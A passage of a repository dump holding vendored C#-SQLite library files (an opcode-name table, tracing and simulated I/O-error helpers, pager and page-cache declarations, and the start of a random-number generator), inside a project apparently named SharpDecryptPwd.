/SharpDecryptPwd/Lib/SQLite/src/opcodes_c.cs: -------------------------------------------------------------------------------- 1 | /* 2 | ************************************************************************* 3 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 4 | ** C#-SQLite is an independent reimplementation of the SQLite software library 5 | ** 6 | ** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/opcodes_c.cs $ 7 | ** Revision : $Revision$ 8 | ** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ 9 | ** Last Changed By : $LastChangedBy: noah.hart $ 10 | ************************************************************************* 11 | */ 12 | namespace CS_SQLite3 13 | { 14 | public partial class CSSQLite 15 | { 16 | /* Automatically generated. Do not edit */ 17 | /* See the mkopcodec.awk script for details. */ 18 | #if !SQLITE_OMIT_EXPLAIN || !NDEBUG || VDBE_PROFILE || SQLITE_DEBUG 19 | static string sqlite3OpcodeName( int i ) 20 | { 21 | string[] azName = { "?", 22 | /* 1 */ "VNext", 23 | /* 2 */ "Affinity", 24 | /* 3 */ "Column", 25 | /* 4 */ "SetCookie", 26 | /* 5 */ "Seek", 27 | /* 6 */ "Sequence", 28 | /* 7 */ "Savepoint", 29 | /* 8 */ "RowKey", 30 | /* 9 */ "SCopy", 31 | /* 10 */ "OpenWrite", 32 | /* 11 */ "If", 33 | /* 12 */ "CollSeq", 34 | /* 13 */ "OpenRead", 35 | /* 14 */ "Expire", 36 | /* 15 */ "AutoCommit", 37 | /* 16 */ "Pagecount", 38 | /* 17 */ "IntegrityCk", 39 | /* 18 */ "Sort", 40 | /* 19 */ "Not", 41 | /* 20 */ "Copy", 42 | /* 21 */ "Trace", 43 | /* 22 */ "Function", 44 | /* 23 */ "IfNeg", 45 | /* 24 */ "Noop", 46 | /* 25 */ "Return", 47 | /* 26 */ "NewRowid", 48 | /* 27 */ "Variable", 49 | /* 28 */ "String", 50 | /* 29 */ "RealAffinity", 51 | /* 30 */ "VRename", 52 | /* 31 */ "ParseSchema", 53 | /* 32 */ "VOpen", 54 | /* 33 */ "Close", 55 | /* 34 */ "CreateIndex", 56 | /* 35 */ "IsUnique", 57 | /* 36 */ "NotFound", 58 | /* 37 */ "Int64", 59 | /* 38 */ "MustBeInt", 60 | /* 39 */ "Halt", 61 | /* 40 */ "Rowid", 62 | /* 41 */ "IdxLT", 63 | /* 42 */ "AddImm", 64 | /* 43 */ "Statement", 65 | /* 44 */ "RowData", 66 | /* 45 */ "MemMax", 67 | /* 46 */ "NotExists", 68 | /* 47 */ "Gosub", 69 | /* 48 */ "Integer", 70 | /* 49 */ "Prev", 71 | /* 50 */ "RowSetRead", 72 | /* 51 */ "RowSetAdd", 73 | /* 52 */ "VColumn", 74 | /* 53 */ "CreateTable", 75 | /* 54 */ "Last", 76 | /* 55 */ "SeekLe", 77 | /* 56 */ "IncrVacuum", 78 | /* 57 */ "IdxRowid", 79 | /* 58 */ "ResetCount", 80 | /* 59 */ "ContextPush", 81 | /* 60 */ "Yield", 82 | /* 61 */ "DropTrigger", 83 | /* 62 */ "DropIndex", 84 | /* 63 */ "IdxGE", 85 | /* 64 */ "IdxDelete", 86 | /* 65 */ "Vacuum", 87 | /* 66 */ "Or", 88 | /* 67 */ "And", 89 | /* 68 */ "IfNot", 90 | /* 69 */ "DropTable", 91 | /* 70 */ "SeekLt", 92 | /* 71 */ "IsNull", 93 | /* 72 */ "NotNull", 94 | /* 73 */ "Ne", 95 | /* 74 */ "Eq", 96 | /* 75 */ "Gt", 97 | /* 76 */ "Le", 98 | /* 77 */ "Lt", 99 | /* 78 */ "Ge", 100 | /* 79 */ "MakeRecord", 101 | /* 80 */ "BitAnd", 102 | /* 81 */ "BitOr", 103 | /* 82 */ "ShiftLeft", 104 | /* 83 */ "ShiftRight", 105 | /* 84 */ "Add", 106 | /* 85 */ "Subtract", 107 | /* 86 */ "Multiply", 108 | /* 87 */ "Divide", 109 | /* 88 */ "Remainder", 110 | /* 89 */ "Concat", 111 | /* 90 */ "ResultRow", 112 | /* 91 */ "Delete", 113 | /* 92 */ "AggFinal", 114 | /* 93 */ "BitNot", 115 | /* 94 */ "String8", 116 | /* 95 */ "Compare", 117 | /* 96 */ "Goto", 118 | /* 97 */ "TableLock", 119 | /* 98 */ "Clear", 120 | /* 99 */ "VerifyCookie", 121 | /* 100 */ "AggStep", 122 | /* 101 */ "SetNumColumns", 123 | /* 102 */ "Transaction", 124 | /* 103 */ "VFilter", 125 | /* 104 */ "VDestroy", 126 | /* 105 */ "ContextPop", 127 | /* 106 */ "Next", 128 | /* 107 */ "Count", 129 | /* 108 */ "IdxInsert", 130 | /* 109 */ "SeekGe", 131 | /* 110 */ "Insert", 132 | /* 111 */ "Destroy", 133 | /* 112 */ "ReadCookie", 134 | /* 113 */ "RowSetTest", 135 | /* 114 */ "LoadAnalysis", 136 | /* 115 */ "Explain", 137 | /* 116 */ "HaltIfNull", 138 | /* 117 */ "OpenPseudo", 139 | /* 118 */ "OpenEphemeral", 140 | /* 119 */ "Null", 141 | /* 120 */ "Move", 142 | /* 121 */ "Blob", 143 | /* 122 */ "Rewind", 144 | /* 123 */ "SeekGt", 145 | /* 124 */ "VBegin", 146 | /* 125 */ "VUpdate", 147 | /* 126 */ "IfZero", 148 | /* 127 */ "VCreate", 149 | /* 128 */ "Found", 150 | /* 129 */ "IfPos", 151 | /* 130 */ "Real", 152 | /* 131 */ "NullRow", 153 | /* 132 */ "Jump", 154 | /* 133 */ "Permutation", 155 | /* 134 */ "NotUsed_134", 156 | /* 135 */ "NotUsed_135", 157 | /* 136 */ "NotUsed_136", 158 | /* 137 */ "NotUsed_137", 159 | /* 138 */ "NotUsed_138", 160 | /* 139 */ "NotUsed_139", 161 | /* 140 */ "NotUsed_140", 162 | /* 141 */ "ToText", 163 | /* 142 */ "ToBlob", 164 | /* 143 */ "ToNumeric", 165 | /* 144 */ "ToInt", 166 | /* 145 */ "ToReal", 167 | }; 168 | return azName[i]; 169 | } 170 | #endif 171 | } 172 | } 173 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/os_common_h.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | 3 | namespace CS_SQLite3 4 | { 5 | public partial class CSSQLite 6 | { 7 | /* 8 | ** 2004 May 22 9 | ** 10 | ** The author disclaims copyright to this source code. In place of 11 | ** a legal notice, here is a blessing: 12 | ** 13 | ** May you do good and not evil. 14 | ** May you find forgiveness for yourself and forgive others. 15 | ** May you share freely, never taking more than you give. 16 | ** 17 | ****************************************************************************** 18 | ** 19 | ** This file contains macros and a little bit of code that is common to 20 | ** all of the platform-specific files (os_*.c) and is #included into those 21 | ** files. 22 | ** 23 | ** This file should be #included by the os_*.c files only. It is not a 24 | ** general purpose header file. 25 | ** 26 | ** $Id: os_common.h,v 1.38 2009/02/24 18:40:50 danielk1977 Exp $ 27 | ** 28 | ************************************************************************* 29 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 30 | ** C#-SQLite is an independent reimplementation of the SQLite software library 31 | ** 32 | ** $Header$ 33 | ************************************************************************* 34 | */ 35 | //#if !_OS_COMMON_H_ 36 | //#define _OS_COMMON_H_ 37 | /* 38 | ** At least two bugs have slipped in because we changed the MEMORY_DEBUG 39 | ** macro to SQLITE_DEBUG and some older makefiles have not yet made the 40 | ** switch. The following code should catch this problem at compile-time. 41 | */ 42 | #if MEMORY_DEBUG 43 | //# error "The MEMORY_DEBUG macro is obsolete. Use SQLITE_DEBUG instead." 44 | #endif 45 | 46 | #if SQLITE_DEBUG || TRACE 47 | static bool sqlite3OsTrace = false; 48 | static void OSTRACE1( string X ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X ); } 49 | static void OSTRACE2( string X, object Y ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y ); } 50 | static void OSTRACE3( string X, object Y, object Z ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z ); } 51 | static void OSTRACE4( string X, object Y, object Z, object A ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A ); } 52 | static void OSTRACE5( string X, object Y, object Z, object A, object B ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B ); } 53 | static void OSTRACE6( string X, object Y, object Z, object A, object B, object C ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C ); } 54 | static void OSTRACE7( string X, object Y, object Z, object A, object B, object C, object D ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C, D ); } 55 | #else 56 | //#define OSTRACE1(X) 57 | //#define OSTRACE2(X,Y) 58 | //#define OSTRACE3(X,Y,Z) 59 | //#define OSTRACE4(X,Y,Z,A) 60 | //#define OSTRACE5(X,Y,Z,A,B) 61 | //#define OSTRACE6(X,Y,Z,A,B,C) 62 | //#define OSTRACE7(X,Y,Z,A,B,C,D) 63 | #endif 64 | 65 | /* 66 | ** Macros for performance tracing. Normally turned off. Only works 67 | ** on i486 hardware. 68 | */ 69 | #if SQLITE_PERFORMANCE_TRACE 70 | 71 | /* 72 | ** hwtime.h contains inline assembler code for implementing 73 | ** high-performance timing routines. 74 | */ 75 | //#include "hwtime.h" 76 | 77 | static sqlite_u3264 g_start; 78 | static sqlite_u3264 g_elapsed; 79 | //#define TIMER_START g_start=sqlite3Hwtime() 80 | //#define TIMER_END g_elapsed=sqlite3Hwtime()-g_start 81 | //#define TIMER_ELAPSED g_elapsed 82 | #else 83 | const int TIMER_START = 0; //#define TIMER_START 84 | const int TIMER_END = 0; //#define TIMER_END 85 | const int TIMER_ELAPSED = 0; //#define TIMER_ELAPSED ((sqlite_u3264)0) 86 | #endif 87 | 88 | /* 89 | ** If we compile with the SQLITE_TEST macro set, then the following block 90 | ** of code will give us the ability to simulate a disk I/O error. This 91 | ** is used for testing the I/O recovery logic. 92 | */ 93 | #if SQLITE_TEST 94 | 95 | //static int sqlite3_io_error_hit = 0; /* Total number of I/O Errors */ 96 | //static int sqlite3_io_error_hardhit = 0; /* Number of non-benign errors */ 97 | //static int sqlite3_io_error_pending = 0; /* Count down to first I/O error */ 98 | //static int sqlite3_io_error_persist = 0; /* True if I/O errors persist */ 99 | static int sqlite3_io_error_benign = 0; /* True if errors are benign */ 100 | //static int sqlite3_diskfull_pending = 0; 101 | //static int sqlite3_diskfull = 0; 102 | static void SimulateIOErrorBenign( int X ) { sqlite3_io_error_benign = ( X ); } 103 | //#define SimulateIOError(CODE) \ 104 | // if( (sqlite3_io_error_persist && sqlite3_io_error_hit) \ 105 | // || sqlite3_io_error_pending-- == 1 ) \ 106 | // { local_ioerr(); CODE; } 107 | static bool SimulateIOError() 108 | { 109 | if ( ( sqlite3_io_error_persist.iValue != 0 && sqlite3_io_error_hit.iValue != 0 ) 110 | || sqlite3_io_error_pending.iValue-- == 1 ) 111 | { 112 | local_ioerr(); 113 | return true; 114 | } 115 | return false; 116 | } 117 | 118 | static void local_ioerr() 119 | { 120 | #if TRACE 121 | IOTRACE( "IOERR\n" ); 122 | #endif 123 | sqlite3_io_error_hit.iValue++; 124 | if ( sqlite3_io_error_benign == 0 ) sqlite3_io_error_hardhit.iValue++; 125 | } 126 | //#define SimulateDiskfullError(CODE) \ 127 | // if( sqlite3_diskfull_pending ){ \ 128 | // if( sqlite3_diskfull_pending == 1 ){ \ 129 | // local_ioerr(); \ 130 | // sqlite3_diskfull = 1; \ 131 | // sqlite3_io_error_hit = 1; \ 132 | // CODE; \ 133 | // }else{ \ 134 | // sqlite3_diskfull_pending--; \ 135 | // } \ 136 | // } 137 | static bool SimulateDiskfullError() 138 | { 139 | if ( sqlite3_diskfull_pending.iValue != 0 ) 140 | { 141 | if ( sqlite3_diskfull_pending.iValue == 1 ) 142 | { 143 | local_ioerr(); 144 | sqlite3_diskfull.iValue = 1; 145 | sqlite3_io_error_hit.iValue = 1; 146 | return true; 147 | } 148 | else 149 | { 150 | sqlite3_diskfull_pending.iValue--; 151 | } 152 | } 153 | return false; 154 | } 155 | #else 156 | //#define SimulateIOErrorBenign(X) 157 | //#define SimulateIOError(A) 158 | //#define SimulateDiskfullError(A) 159 | #endif 160 | 161 | /* 162 | ** When testing, keep a count of the number of open files. 163 | */ 164 | #if SQLITE_TEST 165 | //int sqlite3_open_file_count = 0; 166 | static void OpenCounter( int X ) 167 | { 168 | sqlite3_open_file_count.iValue += ( X ); 169 | } 170 | #else 171 | //#define OpenCounter(X) 172 | #endif 173 | //#endif //* !_OS_COMMON_H_) */ 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/pager_h.cs: -------------------------------------------------------------------------------- 1 | using Pgno = System.UInt32; 2 | 3 | namespace CS_SQLite3 4 | { 5 | public partial class CSSQLite 6 | { 7 | /* 8 | ** 2001 September 15 9 | ** 10 | ** The author disclaims copyright to this source code. In place of 11 | ** a legal notice, here is a blessing: 12 | ** 13 | ** May you do good and not evil. 14 | ** May you find forgiveness for yourself and forgive others. 15 | ** May you share freely, never taking more than you give. 16 | ** 17 | ************************************************************************* 18 | ** This header file defines the interface that the sqlite page cache 19 | ** subsystem. The page cache subsystem reads and writes a file a page 20 | ** at a time and provides a journal for rollback. 21 | ** 22 | ** @(#) $Id: pager.h,v 1.104 2009/07/24 19:01:19 drh Exp $ 23 | ** 24 | ************************************************************************* 25 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 26 | ** C#-SQLite is an independent reimplementation of the SQLite software library 27 | ** 28 | ** $Header$ 29 | ************************************************************************* 30 | */ 31 | 32 | //#if !_PAGER_H_ 33 | //#define _PAGER_H_ 34 | 35 | /* 36 | ** Default maximum size for persistent journal files. A negative 37 | ** value means no limit. This value may be overridden using the 38 | ** sqlite3PagerJournalSizeLimit() API. See also "PRAGMA journal_size_limit". 39 | */ 40 | #if !SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT 41 | const int SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT = -1;//#define SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT -1 42 | #endif 43 | 44 | /* 45 | ** The type used to represent a page number. The first page in a file 46 | ** is called page 1. 0 is used to represent "not a page". 47 | */ 48 | //typedef u32 Pgno; 49 | 50 | /* 51 | ** Each open file is managed by a separate instance of the "Pager" structure. 52 | */ 53 | //typedef struct Pager Pager; 54 | 55 | /* 56 | ** Handle type for pages. 57 | */ 58 | //typedef struct PgHdr DbPage; 59 | 60 | /* 61 | ** Page number PAGER_MJ_PGNO is never used in an SQLite database (it is 62 | ** reserved for working around a windows/posix incompatibility). It is 63 | ** used in the journal to signify that the remainder of the journal file 64 | ** is devoted to storing a master journal name - there are no more pages to 65 | ** roll back. See comments for function writeMasterJournal() in pager.c 66 | ** for details. 67 | */ 68 | //#define PAGER_MJ_PGNO(x) ((Pgno)((PENDING_BYTE/((x)->pageSize))+1)) 69 | static Pgno PAGER_MJ_PGNO( Pager x ) { return ( (Pgno)( ( PENDING_BYTE / ( ( x ).pageSize ) ) + 1 ) ); } 70 | /* 71 | ** Allowed values for the flags parameter to sqlite3PagerOpen(). 72 | ** 73 | ** NOTE: These values must match the corresponding BTREE_ values in btree.h. 74 | */ 75 | //#define PAGER_OMIT_JOURNAL 0x0001 /* Do not use a rollback journal */ 76 | //#define PAGER_NO_READLOCK 0x0002 /* Omit readlocks on readonly files */ 77 | const int PAGER_OMIT_JOURNAL = 0x0001; /* Do not use a rollback journal */ 78 | const int PAGER_NO_READLOCK = 0x0002; /* Omit readlocks on readonly files */ 79 | 80 | /* 81 | ** Valid values for the second argument to sqlite3PagerLockingMode(). 82 | */ 83 | //#define PAGER_LOCKINGMODE_QUERY -1 84 | //#define PAGER_LOCKINGMODE_NORMAL 0 85 | //#define PAGER_LOCKINGMODE_EXCLUSIVE 1 86 | static int PAGER_LOCKINGMODE_QUERY = -1; 87 | static int PAGER_LOCKINGMODE_NORMAL = 0; 88 | static int PAGER_LOCKINGMODE_EXCLUSIVE = 1; 89 | 90 | /* 91 | ** Valid values for the second argument to sqlite3PagerJournalMode(). 92 | */ 93 | //#define PAGER_JOURNALMODE_QUERY -1 94 | //#define PAGER_JOURNALMODE_DELETE 0 /* Commit by deleting journal file */ 95 | //#define PAGER_JOURNALMODE_PERSIST 1 /* Commit by zeroing journal header */ 96 | //#define PAGER_JOURNALMODE_OFF 2 /* Journal omitted. */ 97 | //#define PAGER_JOURNALMODE_TRUNCATE 3 /* Commit by truncating journal */ 98 | //#define PAGER_JOURNALMODE_MEMORY 4 /* In-memory journal file */ 99 | const int PAGER_JOURNALMODE_QUERY = -1; 100 | const int PAGER_JOURNALMODE_DELETE = 0; /* Commit by deleting journal file */ 101 | const int PAGER_JOURNALMODE_PERSIST = 1; /* Commit by zeroing journal header */ 102 | const int PAGER_JOURNALMODE_OFF = 2; /* Journal omitted. */ 103 | const int PAGER_JOURNALMODE_TRUNCATE = 3;/* Commit by truncating journal */ 104 | const int PAGER_JOURNALMODE_MEMORY = 4;/* In-memory journal file */ 105 | 106 | /* 107 | ** The remainder of this file contains the declarations of the functions 108 | ** that make up the Pager sub-system API. See source code comments for 109 | ** a detailed description of each routine. 110 | */ 111 | /* Open and close a Pager connection. */ 112 | //int sqlite3PagerOpen( 113 | // sqlite3_vfs*, 114 | // Pager **ppPager, 115 | // const char*, 116 | // int, 117 | // int, 118 | // int, 119 | //// void(*)(DbPage*) 120 | //); 121 | //int sqlite3PagerClose(Pager *pPager); 122 | //int sqlite3PagerReadFileheader(Pager*, int, unsigned char*); 123 | 124 | /* Functions used to configure a Pager object. */ 125 | //void sqlite3PagerSetBusyhandler(Pager*, int(*)(void *), void *); 126 | //int sqlite3PagerSetPagesize(Pager*, u16*, int); 127 | //int sqlite3PagerMaxPageCount(Pager*, int); 128 | //void sqlite3PagerSetCachesize(Pager*, int); 129 | //void sqlite3PagerSetSafetyLevel(Pager*,int,int); 130 | //int sqlite3PagerLockingMode(Pager *, int); 131 | //int sqlite3PagerJournalMode(Pager *, int); 132 | //i64 sqlite3PagerJournalSizeLimit(Pager *, i64); 133 | //sqlite3_backup **sqlite3PagerBackupPtr(Pager*); 134 | 135 | /* Functions used to obtain and release page references. */ 136 | //int sqlite3PagerAcquire(Pager *pPager, Pgno pgno, DbPage **ppPage, int clrFlag); 137 | //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) 138 | //DbPage *sqlite3PagerLookup(Pager *pPager, Pgno pgno); 139 | //void sqlite3PagerRef(DbPage*); 140 | //void sqlite3PagerUnref(DbPage*); 141 | 142 | /* Operations on page references. */ 143 | //int sqlite3PagerWrite(DbPage*); 144 | //void sqlite3PagerDontWrite(DbPage*); 145 | //int sqlite3PagerMovepage(Pager*,DbPage*,Pgno,int); 146 | //int sqlite3PagerPageRefcount(DbPage*); 147 | //void *sqlite3PagerGetData(DbPage *); 148 | //void *sqlite3PagerGetExtra(DbPage *); 149 | 150 | /* Functions used to manage pager transactions and savepoints. */ 151 | //int sqlite3PagerPagecount(Pager*, int*); 152 | //int sqlite3PagerBegin(Pager*, int exFlag, int); 153 | //int sqlite3PagerCommitPhaseOne(Pager*,const char *zMaster, int); 154 | //int sqlite3PagerSync(Pager *pPager); 155 | //int sqlite3PagerCommitPhaseTwo(Pager*); 156 | //int sqlite3PagerRollback(Pager*); 157 | //int sqlite3PagerOpenSavepoint(Pager *pPager, int n); 158 | //int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint); 159 | //int sqlite3PagerSharedLock(Pager *pPager); 160 | 161 | /* Functions used to query pager state and configuration. */ 162 | //u8 sqlite3PagerIsreadonly(Pager*); 163 | //int sqlite3PagerRefcount(Pager*); 164 | //const char *sqlite3PagerFilename(Pager*); 165 | //const sqlite3_vfs *sqlite3PagerVfs(Pager*); 166 | //sqlite3_file *sqlite3PagerFile(Pager*); 167 | //const char *sqlite3PagerJournalname(Pager*); 168 | //int sqlite3PagerNosync(Pager*); 169 | //void *sqlite3PagerTempSpace(Pager*); 170 | //int sqlite3PagerIsMemdb(Pager*); 171 | 172 | /* Functions used to truncate the database file. */ 173 | //void sqlite3PagerTruncateImage(Pager*,Pgno); 174 | 175 | /* Functions to support testing and debugging. */ 176 | //#if !NDEBUG || SQLITE_TEST 177 | // Pgno sqlite3PagerPagenumber(DbPage*); 178 | // int sqlite3PagerIswriteable(DbPage*); 179 | //#endif 180 | //#if SQLITE_TEST 181 | // int *sqlite3PagerStats(Pager*); 182 | // void sqlite3PagerRefdump(Pager*); 183 | // void disable_simulated_io_errors(void); 184 | // void enable_simulated_io_errors(void); 185 | //#else 186 | //# define disable_simulated_io_errors() 187 | //# define enable_simulated_io_errors() 188 | //#endif 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/pcache_h.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | 5 | using i16 = System.Int16; 6 | using u32 = System.UInt32; 7 | using Pgno = System.UInt32; 8 | 9 | namespace CS_SQLite3 10 | { 11 | public partial class CSSQLite 12 | { 13 | /* 14 | ** 2008 August 05 15 | ** 16 | ** The author disclaims copyright to this source code. In place of 17 | ** a legal notice, here is a blessing: 18 | ** 19 | ** May you do good and not evil. 20 | ** May you find forgiveness for yourself and forgive others. 21 | ** May you share freely, never taking more than you give. 22 | ** 23 | ************************************************************************* 24 | ** This header file defines the interface that the sqlite page cache 25 | ** subsystem. 26 | ** 27 | ** @(#) $Id: pcache.h,v 1.20 2009/07/25 11:46:49 danielk1977 Exp $ 28 | ** 29 | ************************************************************************* 30 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 31 | ** C#-SQLite is an independent reimplementation of the SQLite software library 32 | ** 33 | ** $Header$ 34 | ************************************************************************* 35 | */ 36 | 37 | #if !_PCACHE_H_ 38 | 39 | //typedef struct PgHdr PgHdr; 40 | //typedef struct PCache PCache; 41 | 42 | /* 43 | ** Every page in the cache is controlled by an instance of the following 44 | ** structure. 45 | */ 46 | public class PgHdr 47 | { 48 | public byte[] pData; /* Content of this page */ 49 | public MemPage pExtra; /* Extra content */ 50 | public PgHdr pDirty; /* Transient list of dirty pages */ 51 | public Pgno pgno; /* The page number for this page */ 52 | public Pager pPager; /* The pager to which this page belongs */ 53 | #if SQLITE_CHECK_PAGES || (SQLITE_DEBUG) 54 | public int pageHash; /* Hash of page content */ 55 | #endif 56 | public int flags; /* PGHDR flags defined below */ 57 | /********************************************************************** 58 | ** Elements above are public. All that follows is private to pcache.c 59 | ** and should not be accessed by other modules. 60 | */ 61 | public int nRef; /* Number of users of this page */ 62 | public PCache pCache; /* Cache that owns this page */ 63 | public bool CacheAllocated; /* True, if allocated from cache */ 64 | 65 | public PgHdr pDirtyNext; /* Next element in list of dirty pages */ 66 | public PgHdr pDirtyPrev; /* Previous element in list of dirty pages */ 67 | public PgHdr1 pPgHdr1; /* Cache page header this this page */ 68 | 69 | public static implicit operator bool( PgHdr b ) 70 | { 71 | return ( b != null ); 72 | } 73 | 74 | 75 | public void Clear() 76 | { 77 | this.pData = null; 78 | this.pExtra = null; 79 | this.pDirty = null; 80 | this.pgno = 0; 81 | this.pPager = null; 82 | #if SQLITE_CHECK_PAGES 83 | this.pageHash=0; 84 | #endif 85 | this.flags = 0; 86 | this.nRef = 0; 87 | this.pCache = null; 88 | this.pDirtyNext = null; 89 | this.pDirtyPrev = null; 90 | this.pPgHdr1 = null; 91 | } 92 | }; 93 | 94 | /* Bit values for PgHdr.flags */ 95 | //#define PGHDR_DIRTY 0x002 /* Page has changed */ 96 | //#define PGHDR_NEED_SYNC 0x004 /* Fsync the rollback journal before 97 | // ** writing this page to the database */ 98 | //#define PGHDR_NEED_READ 0x008 /* Content is unread */ 99 | //#define PGHDR_REUSE_UNLIKELY 0x010 /* A hint that reuse is unlikely */ 100 | //#define PGHDR_DONT_WRITE 0x020 /* Do not write content to disk */ 101 | 102 | const int PGHDR_DIRTY = 0x002; /* Page has changed */ 103 | const int PGHDR_NEED_SYNC = 0x004;/* Fsync the rollback journal before 104 | ** writing this page to the database */ 105 | const int PGHDR_NEED_READ = 0x008;/* Content is unread */ 106 | const int PGHDR_REUSE_UNLIKELY = 0x010;/* A hint that reuse is unlikely */ 107 | const int PGHDR_DONT_WRITE = 0x020;/* Do not write content to disk */ 108 | 109 | /* Initialize and shutdown the page cache subsystem */ 110 | //int sqlite3PcacheInitialize(void); 111 | //void sqlite3PcacheShutdown(void); 112 | 113 | /* Page cache buffer management: 114 | ** These routines implement SQLITE_CONFIG_PAGECACHE. 115 | */ 116 | //void sqlite3PCacheBufferSetup(void *, int sz, int n); 117 | 118 | /* Create a new pager cache. 119 | ** Under memory stress, invoke xStress to try to make pages clean. 120 | ** Only clean and unpinned pages can be reclaimed. 121 | */ 122 | //void sqlite3PcacheOpen( 123 | // int szPage, /* Size of every page */ 124 | // int szExtra, /* Extra space associated with each page */ 125 | // int bPurgeable, /* True if pages are on backing store */ 126 | // int (*xStress)(void*, PgHdr*), /* Call to try to make pages clean */ 127 | // void pStress, /* Argument to xStress */ 128 | // PCache pToInit /* Preallocated space for the PCache */ 129 | //); 130 | 131 | /* Modify the page-size after the cache has been created. */ 132 | //void sqlite3PcacheSetPageSize(PCache *, int); 133 | 134 | /* Return the size in bytes of a PCache object. Used to preallocate 135 | ** storage space. 136 | */ 137 | //int sqlite3PcacheSize(void); 138 | 139 | /* One release per successful fetch. Page is pinned until released. 140 | ** Reference counted. 141 | */ 142 | //int sqlite3PcacheFetch(PCache*, Pgno, int createFlag, PgHdr**); 143 | //void sqlite3PcacheRelease(PgHdr*); 144 | 145 | //void sqlite3PcacheDrop(PgHdr*); /* Remove page from cache */ 146 | //void sqlite3PcacheMakeDirty(PgHdr*); /* Make sure page is marked dirty */ 147 | //void sqlite3PcacheMakeClean(PgHdr*); /* Mark a single page as clean */ 148 | //void sqlite3PcacheCleanAll(PCache*); /* Mark all dirty list pages as clean */ 149 | 150 | /* Change a page number. Used by incr-vacuum. */ 151 | //void sqlite3PcacheMove(PgHdr*, Pgno); 152 | 153 | /* Remove all pages with pgno>x. Reset the cache if x==0 */ 154 | //void sqlite3PcacheTruncate(PCache*, Pgno x); 155 | 156 | /* Get a list of all dirty pages in the cache, sorted by page number */ 157 | //PgHdr *sqlite3PcacheDirtyList(PCache*); 158 | 159 | /* Reset and close the cache object */ 160 | //void sqlite3PcacheClose(PCache*); 161 | 162 | /* Clear flags from pages of the page cache */ 163 | //void sqlite3PcacheClearSyncFlags(PCache *); 164 | 165 | /* Discard the contents of the cache */ 166 | //void sqlite3PcacheClear(PCache*); 167 | 168 | /* Return the total number of outstanding page references */ 169 | //int sqlite3PcacheRefCount(PCache*); 170 | 171 | /* Increment the reference count of an existing page */ 172 | //void sqlite3PcacheRef(PgHdr*); 173 | 174 | //int sqlite3PcachePageRefcount(PgHdr*); 175 | 176 | 177 | /* Return the total number of pages stored in the cache */ 178 | //int sqlite3PcachePagecount(PCache*); 179 | 180 | #if SQLITE_CHECK_PAGES 181 | /* Iterate through all dirty pages currently stored in the cache. This 182 | ** interface is only available if SQLITE_CHECK_PAGES is defined when the 183 | ** library is built. 184 | */ 185 | 186 | //void sqlite3PcacheIterateDirty(PCache pCache, void (*xIter)(PgHdr *)); 187 | #endif 188 | 189 | /* Set and get the suggested cache-size for the specified pager-cache. 190 | ** 191 | ** If no global maximum is configured, then the system attempts to limit 192 | ** the total number of pages cached by purgeable pager-caches to the sum 193 | ** of the suggested cache-sizes. 194 | */ 195 | //void sqlite3PcacheSetCachesize(PCache *, int); 196 | #if SQLITE_TEST 197 | //int sqlite3PcacheGetCachesize(PCache *); 198 | #endif 199 | 200 | #if SQLITE_ENABLE_MEMORY_MANAGEMENT 201 | /* Try to return memory used by the pcache module to the main memory heap */ 202 | //int sqlite3PcacheReleaseMemory(int); 203 | #endif 204 | 205 | #if SQLITE_TEST 206 | //void sqlite3PcacheStats(int*,int*,int*,int*); 207 | #endif 208 | 209 | //void sqlite3PCacheSetDefault(void); 210 | 211 | #endif //* _PCACHE_H_ */ 212 | } 213 | } 214 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/random_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | 4 | using i64 = System.Int64; 5 | using u8 = System.Byte; 6 | using u32 = System.UInt32; 7 | using u64 = System.UInt64; 8 | 9 | namespace CS_SQLite3 10 | { 11 | public partial class CSSQLite 12 | { 13 | /* 14 | ** 2001 September 15 15 | ** 16 | ** The author disclaims copyright to this source code. In place of 17 | ** a legal notice, here is a blessing: 18 | ** 19 | ** May you do good and not evil. 20 | ** May you find forgiveness for yourself and forgive others. 21 | ** May you share freely, never taking more than you give. 22 | ** 23 | ************************************************************************* 24 | ** This file contains code to implement a pseudo-random number 25 | ** generator (PRNG) for SQLite. 26 | ** 27 | ** Random numbers are used by some of the database backends in order 28 | ** to generate random integer keys for tables or random filenames. 29 | ** 30 | ** $Id: random.c,v 1.29 2008/12/10 19:26:24 drh Exp $ 31 | ** 32 | ************************************************************************* 33 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 34 | ** C#-SQLite is an independent reimplementation of the SQLite software library 35 | ** 36 | ** $Header$ 37 | ************************************************************************* 38 | */ 39 | //#include "sqliteInt.h" 40 | 41 | 42 | /* All threads share a single random number generator. 43 | ** This structure is the current state of the generator. 44 | */ 45 | public class sqlite3PrngType 46 | { 47 | public bool isInit; /* True if initialized */ 48 | public int i; 49 | public int j; /* State variables */ 50 | public u8[] s = new u8[256]; /* State variables */ 51 | 52 | public sqlite3PrngType Copy() 53 | { 54 | 